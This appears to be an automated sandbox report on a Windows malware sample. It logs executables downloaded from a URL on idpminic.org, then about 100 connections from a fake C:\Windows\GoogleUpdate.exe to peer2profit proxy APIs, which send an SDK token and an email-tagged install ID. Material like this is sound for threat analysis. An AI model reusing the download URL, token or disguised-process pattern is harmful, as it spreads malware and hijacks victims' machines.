a0 3f 01 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 40 01 00 18 00 00 00 d8 3f 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 54 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 17 d0 00 00 00 10 00 00 00 d2 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 b0 64 00 00 00 f0 00 00 00 66 00 00 00 d6 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 0c 14 00 00 00 60 01 00 00 0a 00 00 00 3c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 80 01 00 00 02 00 00 00 46 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 4c 0f 00 00 00 90 01 00 00 10 00 00 00 48 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 7e78MZ@!L!This program cannot be run in DOS mode.$}fI999u3uu-krkr(kr*u09Xr8r=8r8Rich9PELoz~c$@@LdL?8@?@T.text `.rdatadf@@.data`<@.rsrcF@@.relocLH@B
Nov 27, 2022 04:36:42.811224937 CET	4026	OUT	GET /aula/f429fjd4uf84u.sdfh HTTP/1.1 Host: www.idpminic.org
Nov 27, 2022 04:36:42.837994099 CET	4028	IN	HTTP/1.1 200 OK Date: Sun, 27 Nov 2022 03:36:42 GMT Transfer-Encoding: chunked Connection: keep-alive Last-Modified: Wed, 23 Nov 2022 13:29:12 GMT Vary: Accept-Encoding,User-Agent host-header: c2hhcmVkLmJsdWVob3N0LmNvbQ== CF-Cache-Status: HIT Age: 1833 Server: cloudflare CF-RAY: 7707d2339d37903c-FRA Data Raw: 37 65 37 39 0d 0a 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 3c 03 f8 b0 78 62 96 e3 78 62 96 e3 78 62 96 e3 ab 10 95 e2 72 62 96 e3 ab 10 93 e2 f6 62 96 e3 ab 10 92 e2 6c 62 96 e3 2a 17 93 e2 54 62 96 e3 2a 17 92 e2 69 62 96 e3 2a 17 95 e2 6c 62 96 e3 ab 10 97 e2 7d 62 96 e3 78 62 97 e3 2c 62 96 e3 b9 17 9f e2 7b 62 96 e3 b9 17 69 e3 79 62 96 e3 b9 17 94 e2 79 62 96 e3 52 69 63 68 78 62 96 e3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 d0 14 71 63 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 1d 00 32 01 00 00 e2 60 00 00 00 00 00 c4 6f 00 00 00 10 00 00 00 50 01 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 50 62 00 00 04 00 00 ff b4 62 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 44 ec 5c 00 3c 00 00 00 00 20 5d 00 14 0b 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 62 00 7c 13 00 00 d8 ce 5c 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 cf 5c 00 18 00 00 00 f8 ce 5c 00 40 00 00 00 00 00 00 00 00 00 00 00 00 50 01 00 1c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 33 30 01 00 00 10 00 00 00 32 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 a8 a2 5b 00 00 50 01 00 00 a4 5b 00 00 36 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 04 1d 00 00 00 00 5d 00 00 0a 00 00 00 da 5c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 14 0b 05 00 00 20 5d 00 00 0c 05 00 00 e4 5c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 7c 13 00 00 00 30 62 00 00 14 00 00 00 f0 61 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 7e79MZ@!L!This program cannot be run in DOS mode.$<xbxbxbrbblbTbib*lb}bxb,b{biybybRichxbPELqc2`oP@Pbb@D\< ]0b\|\\\@P.text302 `.rdata[P[6@@.data]\@.rsrc ]\@@.reloc\|0ba@B

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.5	49746	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.2.5	49750	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.2.5	49753	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.2.5	49755	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.2.5	49758	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	192.168.2.5	49761	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.2.5	49764	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.5	49715	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
20	192.168.2.5	49766	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
21	192.168.2.5	49771	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
22	192.168.2.5	49774	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
23	192.168.2.5	49776	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
24	192.168.2.5	49778	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
25	192.168.2.5	49782	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
26	192.168.2.5	49785	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
27	192.168.2.5	49789	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
28	192.168.2.5	49792	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
29	192.168.2.5	49795	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.5	49718	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
30	192.168.2.5	49799	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
31	192.168.2.5	49801	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
32	192.168.2.5	49804	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
33	192.168.2.5	49807	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
34	192.168.2.5	49810	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
35	192.168.2.5	49813	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
36	192.168.2.5	49816	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
37	192.168.2.5	49819	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
38	192.168.2.5	49822	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
39	192.168.2.5	49825	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.5	49720	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
40	192.168.2.5	49828	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
41	192.168.2.5	49830	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
42	192.168.2.5	49833	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
43	192.168.2.5	49836	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
44	192.168.2.5	49839	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
45	192.168.2.5	49841	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
46	192.168.2.5	49843	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
47	192.168.2.5	49846	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
48	192.168.2.5	49850	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
49	192.168.2.5	49854	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.5	49723	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
50	192.168.2.5	49856	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
51	192.168.2.5	49859	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
52	192.168.2.5	49862	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
53	192.168.2.5	49864	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
54	192.168.2.5	49867	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
55	192.168.2.5	49870	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
56	192.168.2.5	49873	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
57	192.168.2.5	49876	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
58	192.168.2.5	49879	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
59	192.168.2.5	49882	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.5	49726	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
60	192.168.2.5	49885	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
61	192.168.2.5	49888	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
62	192.168.2.5	49891	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
63	192.168.2.5	49894	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
64	192.168.2.5	49897	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
65	192.168.2.5	49900	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
66	192.168.2.5	49902	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
67	192.168.2.5	49905	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
68	192.168.2.5	49908	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
69	192.168.2.5	49910	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.5	49729	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
70	192.168.2.5	49913	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
71	192.168.2.5	49916	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
72	192.168.2.5	49918	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
73	192.168.2.5	49921	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
74	192.168.2.5	49924	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
75	192.168.2.5	49927	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
76	192.168.2.5	49930	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
77	192.168.2.5	49933	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
78	192.168.2.5	49936	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
79	192.168.2.5	49938	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.5	49732	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
80	192.168.2.5	49941	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
81	192.168.2.5	49943	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
82	192.168.2.5	49945	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
83	192.168.2.5	49948	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
84	192.168.2.5	49950	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
85	192.168.2.5	49953	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
86	192.168.2.5	49954	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
87	192.168.2.5	49958	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
88	192.168.2.5	49961	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
89	192.168.2.5	49964	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.5	49735	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
90	192.168.2.5	49967	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
91	192.168.2.5	49971	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
92	192.168.2.5	49973	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
93	192.168.2.5	49976	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
94	192.168.2.5	49978	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
95	192.168.2.5	49981	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
96	192.168.2.5	49984	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
97	192.168.2.5	49987	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
98	192.168.2.5	49989	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
99	192.168.2.5	49992	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.5	49710	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	Direction	Data
2022-11-27 03:37:16 UTC	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-11-27 03:37:16 UTC	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-11-27 03:37:17 UTC	IN	HTTP/1.1 200 OK Date: Sun, 27 Nov 2022 03:37:17 GMT Content-Type: application/json Content-Length: 131 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 7707d3094ef6bb4d-FRA
2022-11-27 03:37:17 UTC	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 35 31 2e 31 39 35 2e 37 37 2e 32 34 38 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "51.195.77.248", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.5	49712	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-11-27 03:37:20 UTC	0	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-11-27 03:37:20 UTC	0	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-11-27 03:37:20 UTC	1	IN	HTTP/1.1 200 OK Date: Sun, 27 Nov 2022 03:37:20 GMT Content-Type: application/json Content-Length: 131 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 7707d31c6ac4926b-FRA
